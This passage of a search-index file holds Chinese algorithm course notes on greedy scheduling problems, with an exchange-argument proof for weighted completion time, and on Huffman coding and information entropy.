\\(w_i\\)\uff0c\u6211\u4eec\u8981\u627e\u5230\u4e00\u4e2a\u6700\u5927\u6743\u91cd\u7684\u517c\u5bb9\u6d3b\u52a8\u5b50\u96c6\u3002</p> <p>\u6b64\u65f6\u52a8\u6001\u89c4\u5212\u4ecd\u7136\u53ef\u884c\uff0c\u4f46\u662f\u8d2a\u5fc3\u7b97\u6cd5\u4e0d\u53ef\u884c\uff1b</p> </li> <li> <p>\u533a\u95f4\u8c03\u5ea6\u95ee\u9898\uff1a\u6211\u4eec\u73b0\u5728\u7684\u95ee\u9898\u4e0d\u518d\u662f\u6700\u5927\u5316\u517c\u5bb9\u96c6\u5408\u7684\u5927\u5c0f\u6216\u8005\u6743\u91cd\uff0c\u800c\u662f\u6240\u6709\u6d3b\u52a8\u90fd\u5fc5\u987b\u4e3e\u529e\uff0c\u8003\u8651\u5c06\u6240\u6709\u6d3b\u52a8\u5206\u914d\u5230\u6700\u5c11\u7684\u6559\u5ba4\u4e2d\uff0c\u4f7f\u5f97\u6bcf\u4e2a\u6559\u5ba4\u5185\u7684\u6d3b\u52a8\u4e0d\u51b2\u7a81\u3002</p> <p>\u6211\u4eec\u53ef\u4ee5\u7528\u8d2a\u5fc3\u7b97\u6cd5\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898:\u5c06\u6240\u6709\u6d3b\u52a8\u6309\u7167\u5f00\u59cb\u65f6\u95f4\u6392\u5e8f\uff0c\u8bbe\u7f6e\u521d\u59cb\u6559\u5ba4\u6570\u91cf\u4e3a 1\uff0c\u7136\u540e\u4ece\u524d\u5f80\u540e\u904d\u5386\u3002\u6bcf\u6b21\u9009\u62e9\u4e00\u4e2a\u6d3b   \u52a8\u65f6\uff0c\u6211\u4eec\u90fd\u770b\u5f53\u524d\u7684\u6559\u5ba4\u4e2d\u7684\u6d3b\u52a8\u6709\u6ca1\u6709\u4e0d\u51b2\u7a81\u7684\uff0c\u5982\u679c\u6709\u5c31\u76f4\u63a5\u653e\u8fdb\u5bf9\u5e94\u7684\u6559\u5ba4\uff0c\u5982\u679c\u5168\u90e8\u51b2\u7a81\u5219\u65b0\u5f00\u4e00\u4e2a\u6559\u5ba4</p> </li> </ul> <p> </p> <p>(a) \u5c55\u793a\u4e86\u4e00\u4e2a\u4f8b\u5b50,\u6211\u4eec\u53ef\u4ee5\u770b\u5230\u6700\u591a\u540c\u4e00\u65f6\u95f4\u6709\u4e09\u4e2a\u6d3b\u52a8\u90a3\u540c\u65f6\u8fdb\u884c\uff0c\u6240\u4ee5\u6211\u4eec\u9700\u8981\u4e09\u4e2a\u6559\u5ba4\uff0c\u5982\u679c\u9700\u8981\u56db\u4e2a\u6559\u5ba4\uff0c\u8bf4\u660e\u81f3\u5c11\u67d0\u4e00\u65f6\u523b\u6709\u56db\u4e2a\u6d3b\u52a8\u540c\u65f6\u8fdb\u884c\uff0c\u8fd9\u662f\u4e0d\u53ef\u80fd\u7684\u3002</p> <p>(b) \u5c55\u793a\u4e86\u4e00\u4e2a\u8d2a\u5fc3\u7b97\u6cd5\u7684\u5b9e\u73b0\uff0c\u6211\u4eec\u53ef\u4ee5\u770b\u5230\u4ece\u524d\u5f80\u540e\uff0c\u6211\u4eec\u9996\u5148\u9009\u62e9a,b,c,\u53d1\u73b0\u4e09\u4e2a\u6d3b\u52a8\u540c\u65f6\u8fdb\u884c\uff0c\u6240\u4ee5\u5f00\u51fa\u4e09\u4e2a\u6559\u5ba4\uff0c\u7136\u540e\u5230e\uff0cd\uff0c\u53d1\u73b0\u5176\u53ef\u4ee5\u653e\u8fdb\u4e0d\u51b2\u7a81\u7684c\uff0ca\u6559\u5ba4\u4e2d\uff0c\u4ee5\u6b64\u7c7b\u63a8\uff0c\u6700\u540e\u7528\u4e09\u4e2a\u6559\u5ba4\u89e3\u51b3\u95ee\u9898</p>"},{"location":"NOTE/ADS/wk8/#_2","title":"\u8c03\u5ea6\u95ee\u9898","text":"<p>\u95ee\u9898\u63cf\u8ff0</p> <p>\u5047\u8bbe\u6211\u4eec\u73b0\u5728\u6709 \\(n\\) \u4e2a\u4efb\u52a1\uff0c\u6bcf\u4e2a\u4efb\u52a1 \\(i\\) \u90fd\u6709\u4e00\u4e2a\u6b63\u7684\u5b8c\u6210\u9700\u8981\u7684\u65f6\u95f4 \\(li\\) \u548c\u4e00\u4e2a\u6743\u91cd \\(wi\\)\u3002\u5047\u5b9a\u6211\u4eec\u53ea\u80fd\u6309\u4e00\u5b9a\u987a\u5e8f\u4f9d\u6b21\u6267\u884c\u8fd9\u4e9b\u4efb\u52a1\uff0c\u4e0d\u80fd\u5e76\u884c\u3002\u5f88\u663e\u7136\u7684\uff0c\u6211\u4eec\u6709 \\(n!\\) \u79cd\u8c03\u5ea6\u65b9\u6cd5\uff0c\u6211\u4eec\u8bb0 \\(\\sigma\\) \u4e3a\u67d0\u4e00\u79cd\u8c03\u5ea6\uff0c\u90a3\u4e48\u5728\u8c03\u5ea6 \\(\\sigma\\) \u4e2d\uff0c\u4efb\u52a1 \\(i\\) \u7684\u5b8c\u6210\u65f6\u95f4 \\(Ci(\\sigma)\\)\u662f \\(\\sigma\\) \u4e2d\u5728 \\(i\\) \u4e4b\u524d\u7684\u4efb\u52a1\u957f\u5ea6\u4e4b\u548c\u52a0\u4e0a \\(i\\) \u672c\u8eab\u7684\u957f\u5ea6\u3002\u6362\u53e5\u8bdd\u8bf4\uff0c\u5728\u4e00\u79cd\u8c03\u5ea6\u4e2d\uff0c\u4e00\u4e2a\u4efb\u52a1\u7684\u5b8c\u6210\u65f6\u95f4 \u5c31\u662f\u8fd9\u4e2a\u4efb\u52a1\u4ece\u6574\u4e2a\u6d41\u7a0b\u5f00\u59cb\u5230\u5b83\u81ea\u5df1\u88ab\u6267\u884c\u5b8c\u6bd5\u603b\u5171\u6267\u884c\u7684\u65f6\u95f4\u3002\u6211\u4eec\u7684\u76ee\u6807\u662f\u6700\u5c0f\u5316\u52a0\u6743\u5b8c\u6210\u65f6</p> \\[      T=\\min\\sum_{i=1}^{n} w_i \\cdot C_i(\\sigma) \\] <p>\u6211\u4eec\u8fd0\u7528\u8d2a\u5fc3\u7b97\u6cd5\u6765\u89e3\u51b3\u8fd9\u4e2a\u95ee\u9898\uff0c\u9996\u5148\uff0c\u5982\u679c\u5b83\u4eec\u6743\u91cd\u4e00\u6837\uff0c\u90a3\u4e48\u6211\u4eec\u6bcf\u6b21\u90fd\u9009\u62e9\u65f6\u95f4\u6700\u77ed\u7684\u4efb\u52a1\u3002\u5982\u679c\u65f6\u95f4\u4e00\u6837\uff0c\u6211\u4eec\u53ef\u4ee5\u5c06\u4efb\u52a1\u6309\u7167\u6743\u91cd\u6392\u5e8f\uff0c\u7136\u540e\u4f9d\u6b21\u9009\u62e9\u6743\u91cd\u6700\u5927\u7684\u3002\u90a3\u4e48\u73b0\u5728\u6211\u4eec\u8981\u540c\u65f6\u8003\u8651\u6743\u91cd\u6700\u5927\uff0c\u65f6\u95f4\u6700\u77ed\u7684\u4efb\u52a1\uff1a</p> <ul> <li> <p>\u8ba1\u7b97\u6bcf\u4e2a\u4efb\u52a1\u7684\\(w_i-l_i\\),\u4ece\u5927\u5230\u5c0f\u964d\u5e8f\u8c03\u5ea6\u4efb\u52a1(\\(l_i-w_i\\),\u4ece\u5c0f\u5230\u5927)</p> </li> <li> <p>\\(\\dfrac{w_i}{l_i}\\),\u4ece\u5927\u5230\u5c0f\u964d\u5e8f\u8c03\u5ea6\u4efb\u52a1(\\(\\dfrac{l_i}{w_i}\\),\u4ece\u5c0f\u5230\u5927)</p> </li> </ul> <p>Eg</p> <p>\u6709\u4e24\u4e2a\u4efb\u52a1\uff0c\\(l1 = 5, l2 = 2, w1 = 3, w2 = 1\\)\u4e24\u79cd\u65b9\u6cd5\u4f1a\u8fd4\u56de\u4e0d\u540c\u7684\u7ed3\u679c\uff0c\u800c\u7b2c\u4e8c\u79cd\u624d\u80fd\u8fd4\u56de\u6700\u4f18\u89e3\u3002</p> <p>\u5f53\u7136\u8fd9\u53ea\u80fd\u8bf4\u660e\u7b2c\u4e00\u79cd\u5fc5\u7136\u662f\u9519\u8bef\u7684\uff0c\u5bf9\u4e8e\u7b2c\u4e8c\u79cd\u7684\u6b63\u786e\u6027\u4ecd\u7136\u9700\u8981\u8bc1\u660e\u3002</p> <p>Proof</p> <p>\u8c03\u5ea6\u95ee\u9898\u7684\u8d2a\u5fc3\u9009\u62e9\u6027\u8d28 \u4ee4 \\(i\\) \u662f\u5f53\u524d \\(w_i / l_i\\) \u6700\u5927\u7684\u4efb\u52a1\uff0c\u5219\u5728\u5f53\u524d\u95ee\u9898\u4e0b\uff0c\u5fc5\u4e00\u5b9a\u5b58\u5728\u5c06 \\(i\\) \u6392\u5728\u9996\u4f4d\u7684\u6700\u4f18\u8c03\u5ea6\u65b9\u5f0f\u3002</p> <p>\u6211\u4eec\u4ecd\u7136\u4f7f\u7528\u201c\u4ea4\u6362\u53c2\u6570\u6cd5\u201d\uff1a\u5047\u8bbe\u6709\u4e00\u4e2a\u6700\u4f18\u89e3 \\(C\\)\uff0c\u5982\u679c\u5b83\u7684\u7b2c\u4e00\u4e2a\u4efb\u52a1\u662f \\(i\\)\uff0c\u7ed3\u8bba\u6210\u7acb\u3002\u5982\u679c\u4e0d\u662f\uff0c\u6211\u4eec\u8003\u8651\u5c06 \\(i\\) \u4e0d\u65ad\u4e0e\u524d\u4e00\u4e2a\u4efb\u52a1\u4ea4\u6362\uff0c\u76f4\u5230\u6362\u5230\u7b2c\u4e00\u4e2a\u4f4d\u7f6e\u7684\u8fc7\u7a0b\u3002\u5047\u8bbe\u73b0\u5728\u6392\u5728 \\(i\\) \u524d\u9762\u7684\u4e00\u4e2a\u4efb\u52a1\u662f \\(j\\)\uff0c\u6211\u4eec\u77e5\u9053\u4e00\u5b9a\u6709</p> \\[ \\frac{w_i}{l_i} \\geqslant \\frac{w_j}{l_j} \\] <p>\u53c8\u6240\u6709\u6570\u90fd\u6b63\uff0c\u6545\u6709 \\(w_i l_j - w_j l_i \\geqslant 0\\)\u3002\u4e0d\u96be\u770b\u51fa\uff0c\\(i\\) \u548c \\(j\\) \u4ea4\u6362\u524d\u540e\u5176\u5b83\u7684\u4efb\u52a1\u52a0\u6743\u65f6\u95f4\u5b8c\u5168\u6ca1\u6709\u53d8\u5316\u3002\u53d8\u5316\u4ec5\u5728\u4e8e \\(i\\) \u548c \\(j\\)\u3002\u8bbe\u5728 \\(i\\) \u524d\u9762\u7684\u603b\u65f6\u95f4\u4e3a \\(t\\)\uff0c\u5219\u4ea4\u6362\u524d \\(i\\) \u548c \\(j\\) \u7684\u52a0\u6743\u65f6\u95f4\u548c\u4e3a</p> \\[ t_1 = w_j (t + l_i) + w_i (t + l_i + l_j), \\] <p>\u4ea4\u6362\u540e\u4e3a</p> \\[ t_2 = w_i (t + l_j) + w_j (t + l_i + l_j), \\] <p>\u4e8c\u8005\u4f5c\u5dee\u5316\u7b80\u6709</p> \\[ t_1 - t_2 = w_i l_j - w_j l_i \\geqslant 0, \\] <p>\u6545\u7531\uff1a\u5f80\u524d\u6362\uff0c\u52a0\u6743\u65f6\u95f4\u548c\u4e00\u5b9a\u4e0d\u4f1a\u53d8\u5927\uff0c\u6545\u4ecd\u7136\u4fdd\u8bc1\u6700\u4f18\u89e3\u3002\u90a3\u4e48\u6211\u4eec\u5c31\u53ef\u4ee5\u4e0d\u65ad\u628a \\(i\\) \u5f80\u524d\u6362\uff0c\u76f4\u5230\u5b83\u5728\u7b2c\u4e00\u4e2a\u4f4d\u7f6e\uff0c\u8fd9\u6837\u5c31\u8bc1\u660e\u4e86\u8d2a\u5fc3\u9009\u62e9\u6027\u8d28\u3002</p> <p>\u8c03\u5ea6\u95ee\u9898\u7684\u6700\u4f18\u5b50\u7ed3\u6784 \u5728\u8c03\u5ea6\u95ee\u9898 \\(S\\) \u4e2d\uff0c\u6211\u4eec\u7528\u8d2a\u5fc3\u7b56\u7565\u9009\u51fa \\(w_i / l_i\\) \u6700\u5927\u7684 \\(i\\) \u5bf9\u5e94\u7684\u4efb\u52a1\u540e\uff0c\u5269\u4e0b\u7684\u5b50\u95ee\u9898 \\(S_1\\)\uff08\u5373\u5728\u9664\u53bb \\(i\\) \u7684\u4efb\u52a1\u4e2d\u5bfb\u627e\u4e00\u4e2a\u6700\u5c0f\u5316\u52a0\u6743\u5b8c\u6210\u65f6\u95f4\u4e4b\u548c\u7684\u89e3\uff09\u7684\u6700\u4f18\u89e3 \\(C_1\\) \u548c \\(i\\) \u4e00\u8d77\u4e00\u5b9a\u6784\u6210\u4e86\u539f\u95ee\u9898\u7684\u4e00\u4e2a\u6700\u4f18\u89e3 \\(C\\)\u3002</p> <p>\u548c\u8d2a\u5fc3\u9009\u62e9\u95ee\u9898\u5b8c\u5168\u4e00\u81f4\uff0c\u975e\u5e38\u901a\u8fc7\u7684\u7ed3\u8bba\u5c31\u662f\u7528\u53cd\u8bc1\u6cd5\u60f3\u6cd5\uff1a\u5982\u679c \\(C\\) \u4e0d\u662f\u6700\u4f18\u89e3\uff0c\u90a3\u4e48\u5fc5\u5b9a\u6709\u4e00\u4e2a\u6700\u4f18\u89e3 \\(C'\\)\uff0c\u5b83\u5bf9\u5e94\u7684\u52a0\u6743\u5b8c\u6210\u65f6\u95f4\u8bb0\u4e3a \\(T'&lt; T\\)\uff0c\u5176\u4e2d \\(T\\) \u662f \\(C\\) \u5bf9\u5e94\u7684\u52a0\u6743\u5b8c\u6210\u65f6\u95f4\u4e4b\u548c\u3002</p> <p>\u6839\u636e\u8d2a\u5fc3\u9009\u62e9\u6027\u8d28\uff0c\u5982\u679c\u628a \\(C'\\) \u4e2d\u7684 \\(i\\) \u4e0d\u65ad\u901a\u8fc7\u76f8\u90bb\u4ea4\u6362\u6362\u5230\u7b2c\u4e00\u4e2a\u4f4d\u7f6e\uff0c\u60c5\u51b5\u4e00\u5b9a\u4e0d\u4f1a\u53d8\u5dee\uff0c\u56e0\u6b64\u5f97\u5230\u89e3 \\(C''\\)\uff0c\u6211\u4eec\u5c06\u8fd9\u4e00\u8fc7\u7a0b\u7684\u6700\u4f18\u8bb0\u4e3a \\(C''\\)\u3002\u4e8e\u662f \\(C''\\) \u5728\u9009\u62e9\u4e86 \\(i\\) \u4e4b\u540e\uff0c\u5269\u4e0b\u7684\u9009\u62e9\u5b9e\u9645\u4e5f\u662f\\(S_1\\)\u7684\u4e00\u4e2a\u89e3\uff0c\uff0c\u7531\u4e8e \\(T\u2032 &lt; T\\)\uff0c\u8fd9\u8868\u660e \\(C''\\) \u4e2d\u5bf9\u5e94\u7684 \\(S1\\) \u7684\u89e3\u5fc5\u5b9a\u6bd4 \\(C1\\) \u66f4\u597d\uff0c\u4f46\u6211\u4eec\u77e5\u9053 \\(C1\\) \u662f\u6700\u4f18\u89e3\uff0c\u56e0\u6b64\u5f97\u5230\u77db\u76fe\u3002\u6240\u4ee5 \\(C1\\) \u548c \\(i\\) \u4e00\u8d77\u4e00\u5b9a\u6784\u6210\u4e86\u539f\u95ee\u9898\u7684\u4e00\u4e2a\u6700\u4f18\u89e3 \\(C\\)\u3002\u7efc\u4e0a\u4ee5\u53cd\u8bc1\u6cd5\uff0c\u6211\u4eec\u6700\u7ec8\u5f97\u4ee5\u9a8c\u8bc1\u4e86\u95ee\u9898\u7684\u6700\u4f18\u89e3\u53ef\u4ee5\u901a\u8fc7\u8d2a\u5fc3 + \u6700\u4f18\u5b50\u7ed3\u6784\u7684\u65b9\u5f0f\u5f97\u5230\u3002</p> <p>Extra</p> <ul> <li> <p>\u6700\u5c0f\u5316\u6700\u5927\u5ef6\u65f6:\u8bbe\u6709 \\(n\\) \u4e2a\u4efb\u52a1\uff0c\u6bcf\u4e2a\u4efb\u52a1 \\(j\\) \u5177\u6709\u4e00\u4e2a\u5b8c\u6210\u9700\u8981\u7684\u65f6\u95f4 \\(t_j\\)\uff0c\u4ee5\u53ca\u4e00\u4e2a\u622a\u6b62\u65e5\u671f \\(d_j\\)\u3002\u6211\u4eec\u53ea\u80fd\u4f9d\u6b21\u5b8c\u6210\u8fd9\u4e9b\u4efb\u52a1\uff0c\u4e0d\u80fd\u5e76\u884c   \u4e09\u4e2a\u4efb\u52a1\u957f\u5ea6\u5206\u522b\u4e3a 1\u30012\u30013\uff0c\u622a\u6b62\u65e5\u671f\u5206\u522b\u4e3a 2\u30014\u30016\uff0c\u6309\u5982\u56fe\u65b9\u5f0f\u6392\u5e8f\uff0c\u6240\u6709\u4efb\u52a1\u90fd\u80fd\u5728\u622a\u6b62\u524d\u5b8c\u6210\u3002</p> <ul> <li> <p>\u6309\u7167\u7528\u65f6\u6392\u5e8f\uff0c\u7528\u65f6\u77ed\u7684\u5148\u5b8c\u6210\uff1b\u8fd9\u79cd\u505a\u6cd5\u662f\u9519\u8bef\u7684\uff0c\u56e0\u4e3a\u7528\u65f6\u77ed\u7684\u4efb\u52a1\u6709\u53ef\u80fd\u622a\u81f3\u65e5\u671f\u5f88\u957f</p> </li> <li> <p>\u6309\u7167\\(d_j-t_j\\)\u4ece\u5c0f\u5230\u5927\u6392\u5e8f\uff0c\u8fd9\u4f3c\u4e4e\u770b\u8d77\u6765\u6b63\u786e\uff0c\u4f46\u662f\u5b9e\u9645\u4e0a\u4e5f\u662f\u9519\u8bef\u7684\uff0c\u4f8b\u5982\u4efb\u52a11\u7528\u65f61\u5929\uff0c3\u5929\u540e\u622a\u81f3\uff0c\u4efb\u52a12\u7528\u65f610\u5929\uff0c11\u5929\u540e\u622a\u81f3\uff0c\u8fd9\u6837\u6392\u5e8f\u540e\u4efb\u52a12\u4f1a\u5728\u622a\u81f3\u65e5\u671f\u524d\u5b8c\u6210\uff0c\u4f46\u662f\u4efb\u52a11\u4f1a\u5728\u622a\u81f3\u65e5\u671f\u540e\u5b8c\u6210\uff1b</p> </li> </ul> </li> <li> <p>\u5b9e\u9645\u4e0a\u4e0a\u9762\u4e24\u79cd\u601d\u8def\u51fa\u73b0\u4e86\u77db\u76fe\uff0c\u5bf9\u4e8e\u7b2c\u4e00\u79cd\uff0c\u5b8c\u6210\u65f6\u95f4\u77ed\u7684\u5e94\u8be5\u65e9\u5b8c\u6210\uff0c\u5728\u7b2c\u4e8c\u79cd\u601d\u8def\u4e2d\uff0c\u5b8c\u6210\u65f6\u95f4\u77ed\u7684\uff0c\u5197\u4f59\u65f6\u95f4\u53cd\u800c\u5927\uff0c\u5e94\u8be5\u665a\u5b8c\u6210\uff1b\u8fd9\u5c31\u9677\u5165\u4e86\u4e00\u4e2a\u5c34\u5c2c\u7684\u5883\u5730\uff0c\u6211\u4eec\u4e0d\u77e5\u9053\\(t_j\\)\u5e94\u8be5\u88ab\u5982\u4f55\u8003\u8651----\u7b54\u6848\u662f\u6211\u4eec\u4e0d\u9700\u8981\u8003\u8651\uff0c\u6211\u4eec\u53ea\u9700\u8981\u8003\u8651\\(d_j\\)\u5373\u53ef\uff0c\u6211\u4eec\u53ef\u4ee5\u5c06\u4efb\u52a1\u6309\u7167\u622a\u81f3\u65e5\u671f\u6392\u5e8f\uff0c\u7136\u540e\u4f9d\u6b21\u5b8c\u6210\u3002 </p> </li> </ul>"},{"location":"NOTE/ADS/wk8/#huffman","title":"Huffman \u7f16\u7801","text":"<p>\u79bb\u6563\u6ca1\u5b66\u61c2\u7684\uff0c\u5f25\u8865\u4e00\u4e0b</p> <p>\u54c8\u592b\u66fc\u7f16\u7801\u5e0c\u671b\u627e\u5230\u4e00\u4e2a\u5b57\u6bcd\u8868\u7684\u671f\u671b\u957f\u5ea6\u6700\u5c0f\uff08\u4f9d\u636e\u5b57\u6bcd\u51fa\u73b0\u9891\u7387\uff09\u7684\u524d\u7f00\u7f16\u7801\uff0c\u5728\u4e4b\u524d\u6700\u4f18\u4e8c\u53c9\u641c\u7d22\u6811\u7684\u8ba8\u8bba\u4e2d\u6211\u4eec\u4f3c\u4e4e\u6709\u4e00\u4e2a\u7c7b\u4f3c\u7684\u76ee\u6807\uff0c\u4f46\u90a3\u91cc\u6211\u4eec\u662f\u5e0c\u671b\u6700\u5c0f\u5316\u641c\u7d22\u7684\u671f\u671b\u65f6\u95f4\uff0c\u5e76\u6ca1\u6709\u524d\u7f00\u7f16\u7801\u7684\u9700\u6c42\u3002\u4e8b\u5b9e\u4e0a\uff0c\u54c8\u592b\u66fc\u7f16\u7801\u5177\u6709\u975e\u5e38\u5f3a\u7684\u4fe1\u606f\u8bba\u80cc\u666f\u3002</p>"},{"location":"NOTE/ADS/wk8/#_3","title":"\u4fe1\u606f\u71b5\u4e0e\u524d\u7f00\u7f16\u7801","text":"<p>\u5bf9\u4e8e\u4e00\u4e2a\u79bb\u6563\u578b\u968f\u673a\u53d8\u91cf\\(X\\)\uff0c\u5176\u4fe1\u606f\u71b5\u5b9a\u4e49\u4e3a</p> \\[     H(X) = -\\sum_{i=1}^{n} p(x_i) \\log_2 p(x_i) \\] <p>Note</p> <p>\u5728\u5e73\u5747\u610f\u4e49\u4e0b\uff0c\u4fe1\u606f\u71b5\u53ef\u4ee5\u7406\u89e3\u4e3a\u5bf9\u4e8e\u4e00\u4e2a\u968f\u673a\u53d8\u91cf \\(X\\)\uff0c\u6211\u4eec\u9700\u8981\u591a\u5c11\u6bd4\u7279\u6765\u8868\u793a\u5b83\u3002</p> <p>Eg</p> <ul> <li>\u8003\u8651\u4e00\u4e2a\u670d\u4ece\u5747\u5300\u5206\u5e03\u4e14\u6709 32 \u79cd\u53ef\u80fd\u53d6\u503c\u7684\u968f\u673a\u53d8\u91cf X\u3002\u4e3a\u4e86\u786e\u5b9a\u4e00\u4e2a\u7ed3\u679c\uff0c\u9700\u8981\u4e00\u4e2a\u80fd\u5bb9\u7eb3 32 \u4e2a\u4e0d\u540c\u503c\u7684\u6807\u8bc6\uff0c\u56e0\u6b64\u7528 5 \u4e2a\u6bd4\u7279\u8db3\u77e3\u3002\u800c\u5176\u4fe1\u606f\u71b5\u4e3a</li> </ul> \\[ H(X) = -\\sum_{i=1}^{32} \\frac{1}{32} \\log_2 \\frac{1}{32} = 5 \\] <ul> <li>\u6709 8 \u5339\u9a6c\u53c2\u52a0\u7684\u4e00\u573a\u8d5b\u9a6c\u6bd4\u8d5b\uff0c\u5b83\u4eec\u7684\u83b7\u80dc\u6982\u7387\u5206\u522b\u4e3a</li> </ul> \\[     \\left\\{ \\frac{1}{2}, \\frac{1}{4}, \\frac{1}{8}, \\frac{1}{16}, \\frac{1}{64}, \\frac{1}{64}, \\frac{1}{64}, \\frac{1}{64} \\right\\}   \\] <p>\u5047\u5b9a\u6211\u4eec\u8981\u628a\u54ea\u5339\u9a6c\u4f1a\u8d62\u7684\u4fe1\u606f\u544a\u8bc9\u7ed9\u522b\u4eba\uff0c\u5176\u4e2d\u4e00\u4e2a\u7b56\u7565\u662f\u53d1\u9001\u80dc\u51fa\u7684\u9a6c\u7684\u7f16\u53f7\uff0c\u8fd9\u6837\u5bf9\u4e8e\u4efb\u4f55\u4e00\u5339\u9a6c\u90fd\u9700\u8981 3 \u4e2a\u6bd4\u7279\u3002\u4f46\u7531\u4e8e\u6982\u7387\u4e0d\u662f\u5747\u7b49\u7684\uff0c\u660e\u667a\u7684\u65b9\u6cd5\u662f\u5bf9\u6982\u7387\u5927\u7684\u9a6c\u7528\u66f4\u77ed\u7684\u7f16\u7801\uff0c\u5bf9\u6982\u7387\u5c0f\u7684\u9a6c\u7528\u66f4\u957f\u7684\u7f16\u7801\u3002\u4f8b\u5982\u4f7f\u7528\u4ee5\u4e0b\u7f16\u7801\uff1a0, 10, 110, 1110, 111100, 111101, 111110, 111111\uff0c\u8fd9\u6837\u5e73\u5747\u6bcf\u5339\u9a6c\u9700\u8981 2 \u4e2a\u6bd4\u7279\uff0c\u6bd4\u7b49\u957f\u7684\u6bd4\u7279\u6570\u66f4\u77ed\u3002</p>"},{"location":"NOTE/ADS/wk8/#_4","title":"\u7b97\u6cd5\u63cf\u8ff0","text":"<p>\u6211\u4eec\u4ee5\u4e8c\u53c9\u6811\u7684\u5f62\u5f0f\u6765\u6784\u5efa\u7f16\u7801\u6811\uff0c\u4fe1\u606f\u90fd\u5b58\u50a8\u5728\u53f6\u5b50\u8282\u70b9\u4e0a\uff0c\u975e\u53f6\u5b50\u8282\u70b9\u4e0d\u5b58\u50a8\u4fe1\u606f\u3002\u4ece\u6839\u8282\u70b9\u5230\u53f6\u5b50\u8282\u70b9\u7684\u8def\u5f84\u4e0a\u7684 0 \u548c 1 \u5206\u522b\u4ee3\u8868\u5de6\u53f3\u5b50\u6811\u3002</p> <p>\u4f8b\u5982\u6211\u4eec\u8981\u7f16\u7801\u4e00\u4e32\\(aaaxuaxz\\)\u50cf\u8fd9\u6837\u7684\u4e00\u9897\u6811\uff0ca\u7684\u524d\u7f00\u7f16\u7801\u662f00\uff0cu\u662f01\uff0c\u7b49\u7b49\u3002</p> <p>\u5982\u679c\u67d0\u4e2a\u5b57\u7b26\u5728\u6df1\u5ea6\u4e3a \\(d\\) \u7684\u4f4d\u7f6e\uff0c\u90a3\u4e48\u5b83\u7684\u7f16\u7801\u957f\u5ea6\u4e3a \\(d\\)\uff0c\u5176\u51fa\u73b0\u7684\u9891\u7387\u4e3a \\(f\\)\uff0c\u90a3\u4e48\u5b83\u7684\u603b\u7f16\u7801\u957f\u5ea6\u4e3a \\(f \\cdot d\\)\u3002\u6211\u4eec\u7684\u76ee\u6807\u662f\u6700\u5c0f\u5316\u6240\u6709\u5b57\u7b26\u7684\u603b\u7f16\u7801\u957f\u5ea6\u3002</p> \\[     \\min \\sum_{i=1}^{n} f_i \\cdot d_i \\] <p>\u5982\u679c\u6839\u636e\u9891\u7387\u6765\u7f16\u7801\uff0c\u6211\u4eec\u53ef\u4ee5\u6784\u5efa\u8fd9\u6837\u4e00\u9897\u6811</p> <p>\u6784\u9020\u54c8\u592b\u66fc\u7f16\u7801\u6811</p> <p>\u5177\u4f53\u6765\u8bf4\uff0c\u6211\u4eec\u53ef\u4ee5\u8fd9\u6837\u6784\u9020\u54c8\u592b\u66fc\u7f16\u7801\u6811</p> <p>\u6784\u9020\u54c8\u592b\u66fc\u7f16\u7801\u6811\u7684\u5177\u4f53\u6b65\u9aa4\uff1a</p> <ul> <li>\u7edf\u8ba1\u9891\u7387\uff1a</li> </ul> <p>\u7ed9\u5b9a\u4e00\u7ec4\u5f85\u7f16\u7801\u7684\u5b57\u7b26\uff0c\u6bcf\u4e2a\u5b57\u7b26\u90fd\u6709\u4e00\u4e2a\u51fa\u73b0\u9891\u7387\uff08\u6216\u8005\u6743\u91cd\uff09\u3002\u9996\u5148\uff0c\u9700\u8981\u7edf\u8ba1\u6bcf\u4e2a\u5b57\u7b26\u7684\u9891\u7387\u3002</p> <ul> <li>\u521b\u5efa\u4f18\u5148\u961f\u5217\uff08\u6700\u5c0f\u5806\uff09\uff1a</li> </ul> <p>\u6839\u636e\u5b57\u7b26\u7684\u9891\u7387\uff0c\u5c06\u6240\u6709\u5b57\u7b26\u4f5c\u4e3a\u8282\u70b9\uff0c\u5e76\u5c06\u5b83\u4eec\u653e\u5165\u4e00\u4e2a\u4f18\u5148\u961f\u5217\uff08\u6700\u5c0f\u5806\uff09\u4e2d\u3002\u5806\u4e2d\u7684\u6bcf\u4e2a\u5143\u7d20\u662f\u4e00\u4e2a\u8282\u70b9\uff0c\u8282\u70b9\u7684\u503c\u4e3a\u5b57\u7b26\u7684\u9891\u7387\u3002\u4f18\u5148\u961f\u5217\u4fdd\u8bc1\u6bcf\u6b21\u80fd\u591f\u5feb\u901f\u53d6\u51fa\u9891\u7387\u6700\u5c0f\u7684\u4e24\u4e2a\u8282\u70b9\u3002</p> <ul> <li>\u6784\u5efa\u54c8\u592b\u66fc\u6811\uff1a</li> </ul> <p>\u4ece\u6700\u5c0f\u5806\u4e2d\u53cd\u590d\u53d6\u51fa\u4e24\u4e2a\u6700\u5c0f\u9891\u7387\u7684\u8282\u70b9\uff0c\u521b\u5efa\u4e00\u4e2a\u65b0\u7684\u7236\u8282\u70b9\u3002\u8fd9\u4e2a\u7236\u8282\u70b9\u7684\u9891\u7387\u662f\u4e24\u4e2a\u5b50\u8282\u70b9\u9891\u7387\u4e4b\u548c\u3002\u65b0\u7684\u7236\u8282\u70b9\u4e0d\u4ee3\u8868\u67d0\u4e2a\u5177\u4f53\u7684\u5b57\u7b26\uff0c\u800c\u662f\u4f5c\u4e3a\u4e00\u4e2a\u4e2d\u95f4\u8282\u70b9\uff0c\u8fde\u63a5\u4e24\u4e2a\u539f\u59cb\u8282\u70b9\uff08\u5373\u4e24\u4e2a\u5b57\u7b26\u7684\u9891\u7387\u8282\u70b9\uff09\u3002\u5c06\u65b0\u751f\u6210\u7684\u7236\u8282\u70b9\u63d2\u56de\u6700\u5c0f\u5806\u4e2d\u3002\u8fd9\u4e2a\u8fc7\u7a0b\u4e0d\u65ad\u91cd\u590d\uff0c\u76f4\u5230\u5806\u4e2d\u53ea\u5269\u4e0b\u4e00\u4e2a\u8282\u70b9\u4e3a\u6b62\u3002\u6700\u7ec8\u5269\u4e0b\u7684\u8282\u70b9\u5c31\u662f\u54c8\u592b\u66fc\u6811\u7684\u6839\u8282\u70b9\u3002</p> <ul> <li>\u751f\u6210\u7f16\u7801\uff1a</li> </ul> 